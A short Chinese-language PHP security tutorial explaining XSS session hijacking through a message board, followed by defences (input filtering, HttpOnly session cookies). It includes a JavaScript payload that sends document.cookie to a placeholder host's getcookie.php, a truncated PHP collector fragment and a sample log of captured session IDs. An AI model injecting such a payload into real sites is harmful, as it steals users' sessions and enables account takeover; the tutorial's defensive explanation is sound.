xss攻击--SESSION劫持方式以及解决方案


1、XSS攻击-SESSION劫持场景

hacker通过js脚本在留言板之类的脚本中提交javascript脚本,当登录用户(特别是管理员)查看提交的数据时候,会被hacker劫持到SESSION数据,在SESSION有效的时间内,hacker将会更改本地的PHPSESSID数据从而登录网站管理系统。

2、脚本程序

javascript:

var cookie_data=document.cookie;
var script =document.createElement('script');
script.src='http://XXX.XXX.XXX.XXX/getcookie.php?cookie='+cookie_data;
document.body.appendChild(script);
PHP:

$cookie."\r\n",FILE_APPEND);

?>

留言板提交数据:

session.txt:

PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66
PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66
PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66
PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66
PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66
PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66
PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66
PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66

3、SESSION劫持防范措施:

(1)严格过滤用户输入,防范XSS攻击。

对用户输入的数据进行script等脚本和html过滤。

(2)设置sessionid的cookie为HttpOnly。

1、通过PHP.ini设置 session.cookie_httponly= true

2、在PHP手册setcookie中第七个参数为httponly的设置。但该应用方法还在争论中引用PHP手册中的内容

bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

(although it is not supported by all browsers), but that claim is often disputed.



你可能感兴趣的:(PHP)